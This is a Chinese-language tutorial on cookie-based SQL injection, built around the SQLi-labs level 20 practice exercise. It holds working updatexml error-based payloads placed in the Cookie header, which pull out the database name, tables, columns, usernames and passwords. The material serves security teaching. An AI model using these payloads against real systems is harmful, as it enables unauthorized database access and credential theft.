- 第一节 cookie注入原理
- 第二节cookie注入的判断
- 第三节代码审计
- 第四节Cookie注入实例
- 第一步 判断注入类型
- 第二步 .查选表名
- 第三步查选字段名
- 第四步 获取字段值
- 第五步登录数据库后台验证
- 免责声明
网站传递参数的方式
参数类型含义get型一般访问网页的行为cookie型伴随着所有访问网页的行为post型上传文件,登陆cookie注入原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数
。 【cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。】 形成有两个必须条件:
尝试常规的注入没有反应,通过抓包分析,存在cookie值–尝试cookie注入
以SQLlib-20关为例
第一步 判断注入类型此时判断出为但应好闭合,因为只输入单引号--报错--报错信息未提示单引号错误---井号注释之后---页面和谐,未出现报错
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,dversion(),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x5e),1) #
] [
Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x5e),1) #
] 此时判断存在
usename r和password
字段
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select username from users limit 0,1),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select password from users limit 0,1),0x5e),1) #
]
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果上传者概不负责!